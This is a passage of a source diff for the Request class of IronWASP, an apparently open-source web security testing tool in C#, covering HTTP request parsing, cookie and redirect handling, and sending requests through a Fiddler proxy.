this.FreezeBodyString = false; - } - - public string GetBodyEncoding() - { - if (this.Headers.Has("Content-Type")) - { - string ContentType = this.Headers.Get("Content-Type"); - int Loc = ContentType.IndexOf("charset="); - string Charset = Tools.GetCharsetFromContentType(ContentType); - if (Charset.Length > 0) - { - try - { - Encoding.GetEncoding(Charset); - return Charset; - } - catch - { - return this.DefaultBodyCharset; - } - } - } - return this.DefaultBodyCharset; - } - - public string GetHeadersAsString() - { - StringBuilder RB = new StringBuilder(); - RB.Append(this.Method); - RB.Append(" "); - if (this.SSL) - { - RB.Append("https://"); - } - else - { - RB.Append("http://"); - } - RB.Append(this.Host); - RB.Append(this.URL); - RB.Append(" "); - RB.Append(this.HTTPVersion); - RB.Append("\r\n"); - RB.Append(this.headers.GetAsString()); - string Result = RB.ToString(); - return Result; - } - - public byte[] GetFullRequestAsByteArray() - { - byte[] HeaderArray = Encoding.GetEncoding("ISO-8859-1").GetBytes(this.GetHeadersAsString()); - if (this.bodyArray == null) - { - this.bodyArray = new byte[0]; - } - return HTTPMessage.GetFullMessageAsByteArray(HeaderArray, this.bodyArray); - } - public override string ToString() - { - StringBuilder SB = new StringBuilder(); - SB.Append(this.GetHeadersAsString()); - SB.Append(this.BodyString); - return SB.ToString(); - } - public string ToShortString() - { - StringBuilder SB = new StringBuilder(); - SB.Append(this.GetHeadersAsStringWithoutFullURL()); - SB.Append(this.BodyString); - return SB.ToString(); - } - public string ToBinaryString() - { - StringBuilder SB = new StringBuilder(); - SB.Append(Tools.Base64Encode(this.GetHeadersAsString())); - SB.Append(":"); - SB.Append(Tools.Base64EncodeByteArray(this.BodyArray)); - return SB.ToString(); - } - public Response SendReq() - { - return this.Send(); - } - public Response Send() - { - if (!IronProxy.ProxyRunning) - { - throw new Exception("IronWASP Proxy is currently not running. IronWASP cannot send Requests unless the Proxy is started. Please go to the Proxy section of IronWASP and click on the 'Start Proxy' button to fix this problem."); - } - - - //this.response = null; - StringDictionary Flags = new StringDictionary(); - string BuiltBy; - if(this.Source == RequestSource.Scan) - { - BuiltBy = "Scan"; - this.ID = Interlocked.Increment(ref Config.ScanRequestsCount); - Flags.Add("IronFlag-ScanID", this.ScanID.ToString()); - } - else if(this.Source == RequestSource.Probe) - { - BuiltBy = "Probe"; - this.ID = Interlocked.Increment(ref Config.ProbeRequestsCount); - } - else if (this.Source == RequestSource.Stealth) - { - BuiltBy = "Stealth"; - this.ID = Interlocked.Increment(ref Config.StealthRequestsCount); - } - else if (this.Source == RequestSource.Shell) - { - BuiltBy = "Shell"; - this.ID = Interlocked.Increment(ref Config.ShellRequestsCount); - } - else - { - BuiltBy = this.Source; - this.ID = Config.GetNewId(this.Source); - } - Flags.Add("IronFlag-BuiltBy", BuiltBy); - Flags.Add("IronFlag-ID", this.ID.ToString()); - if(this.CanRunPassivePlugins) - Flags.Add("IronFlag-RunPassivePlugins", "1"); - else - Flags.Add("IronFlag-RunPassivePlugins", "0"); - Fiddler.HTTPRequestHeaders ReqHeaders = new Fiddler.HTTPRequestHeaders(); - ReqHeaders.HTTPMethod = this.Method; - ReqHeaders.HTTPVersion = this.HTTPVersion; - ReqHeaders.RequestPath = this.URL; - if (this.SSL) - { - ReqHeaders.UriScheme = "https"; - } - else - { - ReqHeaders.UriScheme = "http"; - } - foreach (string Name in this.Headers.GetNames()) - { - foreach (string Value in this.headers.GetAll(Name)) - { - ReqHeaders.Add(Name, Value); - } - } - //this.MSR = new ManualResetEvent(false); - string DictID = string.Format("{0}-{1}", this.ID, BuiltBy); - this.TimeObject = DateTime.Now; - //lock (Config.APIResponseDict) - //{ - // Config.APIResponseDict.Add(DictID, this); - //} - Fiddler.Session Sess; - if (this.HasBody) - { - //Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(ReqHeaders, this.bodyArray, Flags); - Sess = Fiddler.FiddlerApplication.oProxy.SendRequestAndWait(ReqHeaders, this.BodyArray, Flags, null); - } - else - { - //string RequestStringForFiddler = this.GetHeadersAsString(); - //Fiddler.FiddlerApplication.oProxy.InjectCustomRequest(RequestStringForFiddler, Flags); - Sess = Fiddler.FiddlerApplication.oProxy.SendRequestAndWait(ReqHeaders, new byte[] { }, Flags, null); - } - Response Res = new Response(Sess); - - //this.SetResponse(IrSe.Response); - - //this.MSR.WaitOne(); - //lock (Config.APIResponseDict) - //{ - // Config.APIResponseDict.Remove(DictID); - //} - - //if (this.response.Code == 502 && this.response.Status.StartsWith("Fiddler - ")) - //{ - // throw new Exception(this.response.Status.Replace("Fiddler - ","")); - //} - //return this.response; - - if (Res.Code == 502 && Res.Status.StartsWith("Fiddler - ")) - { - throw new Exception(Res.Status.Replace("Fiddler - ", "")); - } - return Res; - } - - public void SendWithoutAReturn() - { - try - { - this.ResponseStoredForSendWithTimeout = null; - this.ResponseStoredForSendWithTimeout = this.Send(); - } - catch(Exception Exp) - { - this.SendWithoutAReturnException = Exp; - } - } - - public Response SendReq(int TimeOut) - { - return this.Send(TimeOut); - } - - public Response Send(int TimeOut) - { - this.SendWithoutAReturnException = null; - Thread T = new Thread(SendWithoutAReturn); - long StartTime = DateTime.Now.Ticks; - T.Start(); - while (((DateTime.Now.Ticks - StartTime) / 10000) < TimeOut) - { - Thread.Sleep(50); - if (this.ResponseStoredForSendWithTimeout != null) - { - if (this.ResponseStoredForSendWithTimeout.ID == this.ID) - { - Response Res = this.ResponseStoredForSendWithTimeout; - this.ResponseStoredForSendWithTimeout = null; - return Res; - } - else - { - this.ResponseStoredForSendWithTimeout = null; - } - } - - if (this.SendWithoutAReturnException != null) - { - throw this.SendWithoutAReturnException; - } - } - throw new Exception("Request timed out"); - } - - public Request GetClone() - { - return GetClone(false); - } - - public Request GetClone(bool CopyID) - { - Request ClonedRequest = new Request(this.ToString(), this.SSL); - ClonedRequest.SessionHandler = this.SessionHandler; - ClonedRequest.Source = this.Source; - ClonedRequest.CanRunPassivePlugins = this.CanRunPassivePlugins; - if (CopyID) ClonedRequest.ID = this.ID; - if (this.ScanID != 0) - { - ClonedRequest.ScanID = this.ScanID; - } - ClonedRequest.TimeObject = this.TimeObject; - return ClonedRequest; - } - - public void SetCookie(Response Res) - { - this.SetCookie(Res.SetCookies); - } - - public void SetCookie(List SetCookies) - { - foreach (SetCookie SC in SetCookies) - { - this.SetCookie(SC); - } - } - - public void SetCookie(SetCookie SetCookie) - { - this.Cookie.Set(SetCookie.Name, SetCookie.Value); - } - - public void SetCookie(CookieStore Store) - { - foreach (SetCookie SC in Store.GetCookies(this)) - { - this.Cookie.Set(SC.Name, SC.Value); - } - } - - public void SetSource(string EnteredSource) - { - if (RequestSource.IsInternal(EnteredSource)) - { - throw new Exception(string.Format("{0} - is not allowed as a source name. Try another value.", EnteredSource)); - } - else - { - if (EnteredSource.Trim().Length == 0) - { - throw new Exception("Log Source cannot be empty"); - } - if (!Regex.IsMatch(EnteredSource, "^[a-zA-Z\\s]+$")) - { - throw new Exception("Log Source can only contain alphabets and space."); - } - this.Source = EnteredSource; - } - } - - public Request GetRedirect(Response Res) - { - if (Res.IsRedirect) - { - if (Res.Headers.Has("Location")) - { - string NewUrl = Res.Headers.Get("Location"); - Request NewReq = new Request(this.FullURL); - if (NewUrl.StartsWith("/")) - { - NewReq.URL = NewUrl; - } - else if (NewUrl.StartsWith("http://") || NewUrl.StartsWith("https://")) - { - NewReq.FullURL = NewUrl; - } - else if (NewUrl.StartsWith("..")) - { - int DirBackNumber = 0; - List UpdatedNewUrlPathParts = NewReq.UrlPathParts; - List NewUrlPathParts = new List(NewUrl.Split('/')); - if (!NewReq.Url.EndsWith("/") && UpdatedNewUrlPathParts.Count > 0) UpdatedNewUrlPathParts.RemoveAt(UpdatedNewUrlPathParts.Count - 1); - foreach (string NewUrlPathPart in NewUrlPathParts) - { - if (NewUrlPathPart.Equals("..")) - DirBackNumber++; - else - break; - } - - while (UpdatedNewUrlPathParts.Count > 0 && DirBackNumber > 0) - { - UpdatedNewUrlPathParts.RemoveAt(UpdatedNewUrlPathParts.Count - 1); - if (NewUrlPathParts.Count > 0) NewUrlPathParts.RemoveAt(0); - DirBackNumber--; - } - UpdatedNewUrlPathParts.AddRange(NewUrlPathParts); - NewReq.UrlPathParts = UpdatedNewUrlPathParts; - if (NewUrl.EndsWith("/")) - { - if (!NewReq.Url.EndsWith("/")) NewReq.Url = NewReq.Url + "/"; - } - else - { - if (NewReq.Url.EndsWith("/") && NewReq.Url.Length > 1) NewReq.Url = NewReq.Url.TrimEnd(new char[] { '/' }); - } - } - else - { - List NewUrlPathParts = NewReq.UrlPathParts; - if (!NewReq.Url.EndsWith("/") && NewUrlPathParts.Count > 0) NewUrlPathParts.RemoveAt(NewUrlPathParts.Count - 1); - NewReq.UrlPathParts = NewUrlPathParts; - if (!NewReq.Url.EndsWith("/")) NewReq.Url = NewReq.Url + "/"; - NewReq.Url = NewReq.Url + NewUrl; - } - //this check is needed since sometimes the redirect can go to a different domain - if (this.Host == NewReq.Host) - { - NewReq.CookieString = this.CookieString; - NewReq.SetCookie(Res.SetCookies); - } - //Update the Source of the redirect request with the value of the current request - NewReq.Source = this.Source; - if (this.Source.Equals("Scan")) - NewReq.ScanID = this.ScanID; - //Update general headers associated with the current request in to the header of the redirect request - foreach (string HeaderName in this.Headers.GetNames()) - { - if (!(HeaderName.Equals("Host", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Content-Length", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Content-Type", StringComparison.OrdinalIgnoreCase) || HeaderName.Equals("Cookie", StringComparison.OrdinalIgnoreCase))) - { - foreach (string HeaderValue in this.Headers.GetAll(HeaderName)) - { - NewReq.Headers.Add(HeaderName, HeaderValue); - } - } - } - return NewReq; - } - } - return null; - } - - public Response Follow(Response Res) - { - Request RedirectReq = GetRedirect(Res); - if (RedirectReq == null) - return Res; - else - return RedirectReq.Send(); - } - - public int GetId() - { - return this.ID; - } - - public string ToTestUi() - { - return ToTestUi(""); - } - - public string ToTestUi(string Name) - { - if (Name.Trim().Length == 0 || ManualTesting.GroupSessions.ContainsKey(Name)) - { - return ManualTesting.CreateNewGroupWithRequest(this, false); - } - else - { - ManualTesting.CreateNewGroupWithRequest(this, Name, false); - return Name; - } - } - - //internal non-static methods - internal void UpdateURLWithQueryString(string QueryString) - { - string[] URLParts = new string[2]; - URLParts = this.url.Split(new char[] {'?'}, 2); - if (URLParts[0].Length == 0) URLParts[0] = "/"; - if (QueryString.Length > 0) - { - this.url = URLParts[0] + "?" + QueryString; - } - else - { - this.url = URLParts[0]; - } - } - internal void SetBodyWithoutUpdatingParameters(string BodyString) - { - if (BodyString == null) - { - this.SetEmptyBody(); - return; - } - else if (BodyString.Length == 0) - { - this.SetEmptyBody(); - return; - } - this.bodyString = BodyString; - this.bodyArray = this.GetBodyStringAsArray(this.bodyString); - this.headers.Set("Content-Length", this.bodyArray.Length.ToString()); - } - - internal void SetCookieWithoutUpdatingParameters(string CookieString) - { - if (CookieString.Length > 0) - { - this.Headers.Set("Cookie", CookieString); - } - else - { - if (this.Headers.Has("Cookie")) - { - this.Headers.Remove("Cookie"); - } - } - } - - internal void UpdateCookieParametersWithoutUpdatingHeaders(string CookieString) - { - this.FreezeCookieHeader = true; - this.cookie = new CookieParameters(this, CookieString); - this.FreezeCookieHeader = false; - } - //internal void SetResponse(Response Res) - //{ - // this.response = Res; - //} - internal Fiddler.Session ReturnAsFiddlerSession() - { - Fiddler.HTTPRequestHeaders HRH = this.GetFiddlerHTTPRequestHeaders(); - Fiddler.Session Sess = new Fiddler.Session(HRH, this.bodyArray); - return Sess; - } - internal Fiddler.HTTPRequestHeaders GetFiddlerHTTPRequestHeaders() - { - Fiddler.HTTPRequestHeaders HRH = new Fiddler.HTTPRequestHeaders(); - HRH.HTTPMethod = this.Method; - HRH.HTTPVersion = this.HTTPVersion; - HRH.RequestPath = this.URL; - if (this.SSL) - { - HRH.UriScheme = "https"; - } - else - { - HRH.UriScheme = "http"; - } - foreach (string Key in Headers.GetNames()) - { - foreach (string Value in Headers.GetAll(Key)) - { - HRH.Add(Key, Value); - } - } - return HRH; - } - internal string GetHeadersAsStringWithoutFullURL() - { - StringBuilder RB = new StringBuilder(); - RB.Append(this.Method); - RB.Append(" "); - RB.Append(this.URL); - RB.Append(" "); - RB.Append(this.HTTPVersion); - RB.Append("\r\n"); - RB.Append(this.headers.GetAsString()); - string Result = RB.ToString(); - return Result; - } - - - //private non-static methods - void AbsorbRequestString(string RequestString, bool SSL, bool OverrideSSLParameter) - { - HTTPMessage Msg = new HTTPMessage(RequestString); - this.headers = new RequestHeaderParameters(this,Msg.Headers); - this.SetParametersFromHeaders(this.headers); - this.SSL = SSL; - string[] FirstHeaderParts = new string[3]; - string[] FirstSplit = Msg.FirstHeader.Split(new string[]{" "}, 2, StringSplitOptions.RemoveEmptyEntries); - if (FirstSplit.Length != 2) - { - throw new Exception("Invalid Request URL"); - } - FirstHeaderParts[0] = FirstSplit[0]; - int LastSpace = FirstSplit[1].LastIndexOf(" "); - if (LastSpace < 1 || LastSpace > (FirstSplit[1].Length - 8)) - { - throw new Exception("Invalid Request URL"); - } - FirstHeaderParts[1] = FirstSplit[1].Substring(0, LastSpace).Replace(" ", "%20"); - FirstHeaderParts[2] = FirstSplit[1].Substring(LastSpace+1); - this.HTTPVersion = FirstHeaderParts[2]; - if (this.HTTPVersion.Equals("HTTP/1.1")) - { - if (!this.Headers.Has("Host")) - { - throw new Exception("Hostname information missing"); - } - } - else if (!this.HttpVersion.Equals("HTTP/1.0")) - { - throw new Exception("Invalid HTTP version"); - } - this.Method = FirstHeaderParts[0]; - string URLPart = FirstHeaderParts[1]; - if (URLPart.StartsWith("/")) - { - this.URL = URLPart; - this.AbsorbFullURL(this.FullURL); - } - else if (URLPart.StartsWith("https://") || URLPart.StartsWith("http://")) - { - this.AbsorbFullURL(URLPart); - if (!OverrideSSLParameter) - { - this.SSL = SSL; - } - } - else - { - throw new Exception("Invalid Request URL"); - } - - //process body - this.SetBody(Msg.BodyString); - } - - internal void SetCookie(string CookieString) - { - this.FreezeCookieString = true; - this.SetCookieWithoutUpdatingParameters(CookieString); - this.cookie = new CookieParameters(this, CookieString); - this.FreezeCookieString = false; - } - - string GetBodyArrayAsString(byte[] BodyArray) - { - return Encoding.GetEncoding(this.GetBodyEncoding()).GetString(BodyArray); - } - - byte[] GetBodyStringAsArray(string BodyString) - { - return Encoding.GetEncoding(this.GetBodyEncoding()).GetBytes(BodyString); - } - - string ProcessAndEncodeRawInputUrl(string Input) - { - string Path = ""; - string Query = ""; - string HashPart = ""; - - if (Input.Contains("#")) - { - string[] InputPartsAtHash = Input.Split(new char[] { '#' }, 2); - { - if (InputPartsAtHash.Length == 2) - { - Input = InputPartsAtHash[0]; - HashPart = InputPartsAtHash[1]; - } - } - } - - if (Input.Contains("?")) - { - string[] InputParts = Input.Split(new char[] { '?' }, 2); - if (InputParts.Length == 2) - { - Path = InputParts[0]; - Query = InputParts[1]; - } - else - { - Path = Input; - } - } - else - { - Path = Input; - } - Path = Path.Replace("%2f", "/").Replace("%2F", "/"); - StringBuilder SB = new StringBuilder(); - SB.Append(Path); - if (Query.Length > 0 || Input.EndsWith("?")) - { - SB.Append("?"); - } - string[] QueryParts = Query.Split(new char[] { '&' }, StringSplitOptions.RemoveEmptyEntries); - foreach (string QueryPart in QueryParts) - { - string[] KV = QueryPart.Split(new char[] { '=' }, 2); - string Key = ""; - string Value = ""; - if (KV.Length > 0) - { - Key = Tools.RelaxedUrlEncode(KV[0]); - } - if (KV.Length == 2) - { - Value = Tools.RelaxedUrlEncode(KV[1]); - } - SB.Append(Key); - if (Value.Length > 0 || QueryPart.EndsWith("=")) - { - SB.Append("="); - } - SB.Append(Value); - SB.Append("&"); - } - string ProcessedInput = SB.ToString(); - if (!Query.EndsWith("&")) - { - ProcessedInput = ProcessedInput.TrimEnd('&'); - } - return Tools.UrlPathEncode(ProcessedInput); - } - - void AbsorbFullURL(string FullURL) - { - FullURL = this.ProcessAndEncodeRawInputUrl(FullURL); - if (!(FullURL.StartsWith("http://", StringComparison.OrdinalIgnoreCase) || FullURL.StartsWith("https://", StringComparison.OrdinalIgnoreCase))) - { - throw new Exception("Request URL does not start with http:// or https://"); - } - string[] URIParts = FullURL.Split(new string[] { "://" }, 2, StringSplitOptions.RemoveEmptyEntries); - if (URIParts.Length != 2) throw new Exception("Invalid Request URL"); - string Scheme = URIParts[0]; - string HostAndPath = URIParts[1]; - if (!HostAndPath.Contains("/")) - { - HostAndPath += "/"; - } - int StartOfPath = HostAndPath.IndexOf("/"); - this.Host = HostAndPath.Substring(0, StartOfPath); - if (this.Host.Length == 0) throw new Exception("Hostname is missing in URL"); - this.URL = HostAndPath.Substring(StartOfPath); - if (Scheme.Equals("https")) - { - this.SSL = true; - } - else if (Scheme.Equals("http")) - { - this.SSL = false; - } - else - { - throw new Exception("Invalid Request URL"); - } - } - - void SetContentType(string ContentType) - { - if (ContentType.Length > 0) - { - this.Headers.Set("Content-Type", ContentType); - } - else - { - if (this.Method.Equals("GET") || this.Method.Equals("HEAD")) - { - if (this.Headers.Has("Content-Type")) - { - this.Headers.Remove("Content-Type"); - } - } - else - { - this.Headers.Set("Content-Type", ContentType); - } - } - } - void SetParametersFromHeaders(RequestHeaderParameters Headers) - { - if (this.headers.Has("Cookie")) - { - this.SetCookie(this.headers.Get("Cookie")); - } - } - void SetEmptyBody() - { - this.bodyString = ""; - this.bodyArray = new byte[0]; - if (this.Method.Equals("GET") || this.Method.Equals("HEAD") || this.Method.Equals("CONNECT")) - { - if (this.headers.Has("Content-Length")) - { - this.headers.Remove("Content-Length"); - } - } - else if (this.Method.Equals("PUT") || this.Method.Equals("POST")) - { - this.headers.Set("Content-Length", "0"); - } - else if (this.headers.Has("Content-Length")) - { - this.headers.Set("Content-Length", "0"); - } - return; - } - void InitiateParameters() - { - this.query = new QueryParameters(this); - this.body = new BodyParameters(this); - this.cookie = new CookieParameters(this); - this.headers = new RequestHeaderParameters(this); - } - - //to be used inside UI and DB updating areas - internal string GetParametersString() - { - StringBuilder PB = new StringBuilder(); - if (Query.Count > 0) PB.Append("Q "); - if (Body.Count > 0) PB.Append("B "); - if (Cookie.Count > 0) PB.Append("C "); - if (Headers.Count > 0) PB.Append("H "); - return PB.ToString(); - } - - //public static methods - public static Request FromProxyLog(int ID) - { - Session IrSe = Session.FromProxyLog(ID); - return IrSe.Request; - } - public static Request FromTestLog(int ID) - { - Session IrSe = Session.FromTestLog(ID); - return IrSe.Request; - } - public static Request FromShellLog(int ID) - { - Session IrSe = Session.FromShellLog(ID); - return IrSe.Request; - } - public static Request FromProbeLog(int ID) - { - Session IrSe = Session.FromProbeLog(ID); - return IrSe.Request; - } - public static Request FromScanLog(int ID) - { - Session IrSe = Session.FromScanLog(ID); - return IrSe.Request; - } - public static Request FromLog(int ID, string Source) - { - switch (Source) - { - case ("Proxy"): - return FromProxyLog(ID); - case ("Probe"): - return FromProbeLog(ID); - case ("Test"): - return FromTestLog(ID); - case ("Shell"): - return FromShellLog(ID); - case ("Scan"): - return FromScanLog(ID); - default: - Session IrSe = Session.FromLog(ID, Source); - return IrSe.Request; - } - } - public static Request FromString(string RequestString) - { - return new Request(RequestString, false, true); - } - public static Request FromBinaryString(string BinaryRequestString) - { - string[] RequestParts = BinaryRequestString.Split(new char[] { ':' }, 2, StringSplitOptions.RemoveEmptyEntries); - if (RequestParts.Length == 1) - { - return Request.FromString(Tools.Base64Decode(RequestParts[0])); - } - else if (RequestParts.Length == 2) - { - return new Request(Tools.Base64Decode(RequestParts[0]), Tools.Base64DecodeToByteArray(RequestParts[1])); - } - else - { - throw new Exception("Invalid input string"); - } - } - - public static List FromProxyLog() - { - List Requests = new List(); - List Sessions = Session.FromProxyLog(); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - public static List FromTestLog() - { - List Requests = new List(); - List Sessions = Session.FromTestLog(); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - public static List FromShellLog() - { - List Requests = new List(); - List Sessions = Session.FromShellLog(); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - public static List FromProbeLog() - { - List Requests = new List(); - List Sessions = Session.FromProbeLog(); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - public static List FromScanLog() - { - List Requests = new List(); - List Sessions = Session.FromScanLog(); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - public static List FromLog(string Source) - { - switch (Source) - { - case ("Proxy"): - return FromProxyLog(); - case ("Probe"): - return FromProbeLog(); - case ("Test"): - return FromTestLog(); - case ("Shell"): - return FromShellLog(); - case ("Scan"): - return FromScanLog(); - default: - List Requests = new List(); - List Sessions = Session.FromLog(Source); - foreach (Session Sess in Sessions) - { - if (Sess.Request != null) Requests.Add(Sess.Request); - } - return Requests; - } - } - - public static bool IsSame(Request A, Request B) - { - try - { - if (!A.GetHeadersAsString().Equals(B.GetHeadersAsString())) return false; - if (A.BodyLength != B.BodyLength) return false; - for (int i = 0; i < A.BodyLength; i++) - { - if (A.BodyArray[i] != B.BodyArray[i]) return false; - } - } - catch { return false; } - return true; - } - - internal static string PathPartEncode(string Value) - { - return Tools.UrlPathPartEncode(Value); - } - internal static string PathPartDecode(string Value) - { - return Tools.UrlPathPartDecode(Value); - } - - string Decode(string Value) - { - return Tools.UrlDecode(Value); - } - - string SafeRaw(string Value) - { - return Tools.RelaxedUrlEncode(Value); - } - } -} +// +// Copyright 2011-2013 Lavakumar Kuppan +// +// This file is part of IronWASP +// +// IronWASP is free software: you can redistribute it and/or modify +// it under the terms of the GNU General Public License as published by +// the Free Software Foundation, version 3 of the License. +// +// IronWASP is distributed in the hope that it will be useful, +// but WITHOUT ANY WARRANTY; without even the implied warranty of +// MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the +// GNU General Public License for more details. +// +// You should have received a copy of the GNU General Public License +// along with IronWASP. If not, see http://www.gnu.org/licenses/. +// + +using System; +using System.IO; +using System.Collections; +using System.Collections.Specialized; +using System.Collections.Generic; +using System.ComponentModel; +using System.Data; +using System.Data.SQLite; +using System.Drawing; +using System.Text; +using System.Text.RegularExpressions; +using System.Windows.Forms; +using System.Threading; +using System.Reflection; +using Microsoft.Scripting; +using Microsoft.Scripting.Runtime; +using Microsoft.Scripting.Hosting; +using IronPython; +using IronPython.Hosting; +using IronPython.Modules; +using IronPython.Runtime; +using IronPython.Runtime.Exceptions; +using IronRuby; +using IronRuby.Hosting; +using IronRuby.Runtime; +using IronRuby.StandardLibrary; + +namespace IronWASP +{ + public class Request + { + public bool SSL = false; + public string Method = "GET"; + public string HTTPVersion = "HTTP/1.1"; + public bool CanRunPassivePlugins = true; + + //internal properties + internal int ID=0; + //internal ManualResetEvent MSR; + internal bool FreezeURL = false; + internal bool FreezeBodyString = false; + internal bool FreezeCookieString = false; + internal bool FreezeCookieHeader = false; + + //used for checking binary status of request body + internal static List TextContentTypes = new List(); + + //only to be used when updating the log in DB & UI to aviod computation in the DB and UI threads + internal string StoredFile = ""; + internal string StoredParameters = ""; + internal string StoredHeadersString = ""; + internal string StoredBinaryBodyString = ""; + //internal string + + internal DateTime TimeObject = DateTime.Now; + + //To be set explicitly when cloning + public SessionPlugin SessionHandler = new SessionPlugin(); + + + //private properties + string bodyString = ""; + byte[] bodyArray = new byte[0]; + //Response response; + string url = ""; + int scanID = 0;//to be used only by the Active Plugins + QueryParameters query;//must instantiate in the constructor = new Parameters(); + BodyParameters body;//must instantiate in the constructor = new Parameters(); + CookieParameters cookie;//must instantiate in the constructor = new Parameters(); + RequestHeaderParameters headers;//must instantiate in the constructor = new Parameters(); + string source = RequestSource.Shell; + + string DefaultBodyCharset = "ISO-8859-1"; + + Response ResponseStoredForSendWithTimeout; + + Exception SendWithoutAReturnException = null;//To be used to store the exception from the SendWithReturn method + + BodyFormatType formatType = BodyFormatType.UrlFormEncoded; + string BodyStringHash = ""; + + //getter/setter properties + public string FullURL + { + get + { + StringBuilder FL = new StringBuilder(); + if (this.SSL) + { + FL.Append("https://"); + } + else + { + FL.Append("http://"); + } + FL.Append(this.Host); + FL.Append(this.URL); + return FL.ToString(); + } + set + { + this.AbsorbFullURL(value); + } + } + //for ruby naming convention + public string FullUrl + { + get + { + return this.FullURL; + } + set + { + this.FullURL = value; + } + } + + public string URL + { + get + { + return this.url; + } + set + { + this.FreezeURL = true; + //this.url = Tools.UrlPathEncode(value); + this.url = this.ProcessAndEncodeRawInputUrl(value); + this.query = new QueryParameters(this, this.url); + this.FreezeURL = false; + } + } + + public string Url + { + get + { + return this.URL; + } + set + { + this.URL = value; + } + } + + public string Host + { + get + { + if (this.headers.Has("Host")) + { + return this.headers.Get("Host"); + } + else + { + return ""; + } + } + set + { + this.headers.Set("Host", value); + } + } + public int BodyLength + { + get + { + return this.bodyArray.Length; + } + } + public string ContentType + { + get + { + if (this.headers.Has("Content-Type")) + { + return this.headers.Get("Content-Type"); + } + else + { + return ""; + } + } + set + { + this.SetContentType(Tools.RelaxedUrlEncode(value)); + } + } + public RequestHeaderParameters Headers + { + get + { + return this.headers; + } + } + public string BodyString + { + get + { + return this.bodyString; + } + set + { + this.SetBody(value); + } + } + + public string BinaryBodyString + { + get + { + return Convert.ToBase64String(this.BodyArray); + } + set + { + this.BodyArray = Convert.FromBase64String(value); + } + } + + public byte[] BodyArray + { + get + { + return this.bodyArray; + } + set + { + this.SetBody(value); + } + } + public string CookieString + { + get + { + if (this.headers.Has("Cookie")) + { + return this.headers.Get("Cookie"); ; + } + else + { + return ""; + } + } + set + { + this.SetCookie(value); + } + } + public bool Ssl + { + get + { + return this.SSL; + } + set + { + this.SSL = value; + } + } + public string HttpMethod + { + get + { + return this.Method; + } + set + { + this.Method = value; + } + } + public string HttpVersion + { + get + { + return this.HTTPVersion; + } + set + { + this.HTTPVersion = value; + } + } + public int ScanID + { + get + { + return this.scanID; + } + set + { + this.Source = RequestSource.Scan; + this.scanID = value; + } + } + + internal string Source + { + get + { + return this.source; + } + set + { + if(!RequestSource.IsValid(value)) + throw new Exception(string.Format("{0} - is an invalid value. Only alphabets are allowed in source names", value)); + else if (RequestSource.IsBanned(value)) + throw new Exception(string.Format("{0} - is a banned word for Request Source", value)); + else + this.source = value; + } + } + + public string Hash = ""; + + public string OverrideHostTo = ""; + + //getter properties + public QueryParameters Query + { + get + { + return this.query; + } + } + public BodyParameters Body + { + get + { + return this.body; + } + } + public CookieParameters Cookie + { + get + { + return this.cookie; + } + } + public bool HasBody + { + get + { + if (this.bodyArray.Length > 0) + { + return true; + } + else + { + return false; + } + + } + } + public bool IsBinary + { + get + { + return (this.formatType == BodyFormatType.UnknownBinary); + } + } + + public bool IsNormal + { + get + { + return (this.formatType == BodyFormatType.UrlFormEncoded); + } + } + + public bool IsXml + { + get + { + return (this.formatType == BodyFormatType.Xml || this.formatType == BodyFormatType.Soap); + } + } + + public bool IsSoap + { + get + { + return (this.formatType == BodyFormatType.Soap); + } + } + + public bool IsJson + { + get + { + return (this.formatType == BodyFormatType.Json); + } + } + + public bool IsMultiPart + { + get + { + return (this.formatType == BodyFormatType.Multipart); + } + } + + public BodyFormatType BodyType + { + get + { + return this.formatType; + } + } + + //public Response Response + //{ + // get + // { + // return this.response; + // } + //} + public string Time + { + get + { + return this.TimeObject.ToShortTimeString(); + } + } + public string URLPath + { + get + { + string[] URLParts = this.URL.Split(new char[] { '?' }, 2, StringSplitOptions.RemoveEmptyEntries); + if (URLParts.Length > 0) + { + return URLParts[0]; + } + else + { + return this.URL; + } + } + set + { + string Path = value; + if(Path.Length == 0) Path = "/"; + string[] URLParts = this.URL.Split(new char[] { '?' }, 2, StringSplitOptions.RemoveEmptyEntries); + if (URLParts.Length > 1) + { + this.URL = Path + "?" + URLParts[1]; + } + else + { + this.URL = Path; + } + } + } + + public string UrlPath + { + get + { + return URLPath; + } + set + { + URLPath = value; + } + } + + public List RawURLPathParts + { + get + { + string[] URLParts = this.URLPath.Split(new Char[] { '/' }, StringSplitOptions.RemoveEmptyEntries); + List URLPartsList = new List(URLParts); + return URLPartsList; + } + set + { + StringBuilder URLBuilder = new StringBuilder(); + if (value.Count == 0) + { + this.URLPath = "/"; + return; + } + foreach (string Part in value) + { + URLBuilder.Append("/"); + URLBuilder.Append(SafeRaw(Part)); + } + if (this.URLPath.EndsWith("/")) + { + URLBuilder.Append("/"); + } + this.URLPath = URLBuilder.ToString(); + } + } + + public List RawUrlPathParts + { + get + { + return RawURLPathParts; + } + + set + { + RawURLPathParts = value; + } + } + + public List UrlPathParts + { + get + { + List RawPaths = RawUrlPathParts; + for (int i = 0; i < RawPaths.Count; i++) + { + RawPaths[i] = PathPartDecode(RawPaths[i]); + } + return RawPaths; + } + set + { + List RawPaths = new List(value); + for (int i = 0; i < RawPaths.Count; i++) + { + RawPaths[i] = PathPartEncode(RawPaths[i]); + } + RawUrlPathParts = RawPaths; + } + } + + public string UrlDir + { + get + { + if (UrlPath.EndsWith("/")) + return UrlPath; + else + { + return UrlPath.Substring(0, UrlPath.LastIndexOf('/') + 1); + } + } + } + + public string BaseUrl + { + get + { + StringBuilder SB = new StringBuilder(); + if (this.SSL) + SB.Append("https://"); + else + SB.Append("http://"); + SB.Append(this.Host); + SB.Append("/"); + return SB.ToString(); + } + } + + public string UserAgent + { + get + { + if (this.Headers.Has("User-Agent")) + { + return this.Headers.Get("User-Agent"); + } + else + { + return ""; + } + } + set + { + this.Headers.Set("User-Agent", value); + } + } + + //if the file extension is longer than 8 characters or has any non-alpha 